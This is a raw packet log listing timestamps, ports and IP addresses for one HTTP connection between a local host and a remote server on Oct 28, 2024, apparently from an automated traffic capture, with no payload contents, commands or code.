Oct 28, 2024 23:47:22.369090080 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.369102001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.369136095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.369175911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.369424105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.369477034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.369477987 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.369529963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.369564056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.369600058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.369611025 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.369633913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.369668961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.369677067 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.369703054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.369735003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.369829893 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.369829893 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.370280027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.370333910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.370400906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.370409966 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.370435953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.370470047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.370505095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.370522022 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.370538950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.370574951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.370603085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.370620012 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.370666027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.380547047 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.410379887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.410438061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.410471916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.410552979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.410662889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.429907084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.430365086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.430398941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.430432081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.430485964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.432799101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.432833910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.432868004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.432873011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.432936907 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.433039904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433093071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433128119 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433161020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433195114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433231115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433233023 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.433233023 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.433290958 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.433495998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433567047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433600903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433666945 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.433763027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433815956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433823109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.433866978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433902979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.433917999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.433938980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.434170008 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.442456961 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.475421906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.475457907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.475491047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.475528002 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.487215042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.487250090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.487283945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.487409115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.487440109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.487512112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.487564087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.487596989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.487598896 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.487631083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.487665892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.487704992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.487740040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.487765074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.487792015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.487833023 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.488285065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.488334894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.488388062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.488420963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.488444090 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.488444090 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.488457918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.488493919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.488542080 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.488898993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.488950968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.488986015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.489033937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.489068985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.489088058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.489250898 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.489443064 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.489495039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.489531040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.489559889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.489566088 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.489600897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.489634037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.489641905 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.489734888 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.490045071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.490077019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.490112066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.490127087 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.490148067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.490222931 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.492161989 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.529102087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.529117107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.529198885 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.549276114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.549313068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.549348116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.549416065 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.551551104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.551585913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.551620007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.551655054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.551666975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.551687956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.551726103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.551749945 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.551845074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.552038908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552069902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552136898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552175045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552198887 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.552198887 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.552211046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552241087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552311897 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.552408934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552438974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552490950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.552551031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552602053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552638054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552670956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552674055 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.552706957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552742004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.552755117 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.552798986 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.553175926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.553256035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.553359985 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.594342947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.594360113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.594374895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.594429970 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.594429970 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.602324009 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.606149912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.606165886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.606180906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.606241941 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.606374979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.606389046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.606419086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.606458902 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.606493950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.606509924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.606532097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.606549025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.606595039 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.606595039 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.607058048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.607074022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.607089996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.607104063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.607120037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.607180119 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.607180119 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.607620001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.607635975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.607651949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.607666969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.607682943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.607697964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.607700109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.607718945 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.607777119 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.608233929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.608247995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.608263969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.608280897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.608295918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.608305931 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.608305931 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.608311892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.608338118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.608351946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.608375072 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.608375072 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.608378887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.608402967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.608418941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.608434916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.608448029 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.608479023 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.609241009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.609298944 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.668579102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.668597937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.668616056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.668648958 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.670408964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.670459032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.670481920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.670499086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.670515060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.670547009 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.670562983 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.670592070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.670608044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.670629025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.670677900 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.670773983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.670866013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.670928955 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.671173096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.671190023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.671205044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.671227932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.671240091 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.671252012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.671267033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.671283007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.671292067 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.671292067 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.671334028 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.671366930 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.671384096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.671399117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.671416044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.671452999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.671452999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.672004938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.672044039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.672255993 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.682143927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.713222027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.713294983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.713347912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.713350058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.713383913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.713418007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.713485956 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.717858076 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.725099087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725153923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725188017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725225925 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.725244999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725271940 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.725279093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725317001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725352049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725418091 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.725497007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725529909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725598097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725620985 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.725652933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725687981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725723028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725748062 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.725774050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.725822926 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.726054907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726088047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726123095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726128101 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.726155043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726197958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726210117 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.726268053 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.726438999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726504087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726546049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726564884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726582050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726598978 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.726623058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.726819038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726835012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726850986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.726892948 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.726907969 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.726979971 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.727005959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.727022886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.727058887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.727144957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.727159023 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.727273941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.727400064 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.727415085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.727432013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.727447033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.727461100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.727462053 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.727480888 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.727524042 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.787379980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.787403107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.787420034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.787537098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.789339066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.789355040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.789371967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.789433956 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.789530993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.789623022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.789678097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.789686918 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.789695024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.789735079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.789753914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.789829969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.789844990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.789850950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.789850950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.789860010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.789944887 CET	49740	80	192.168.2.4	185.215.113.16
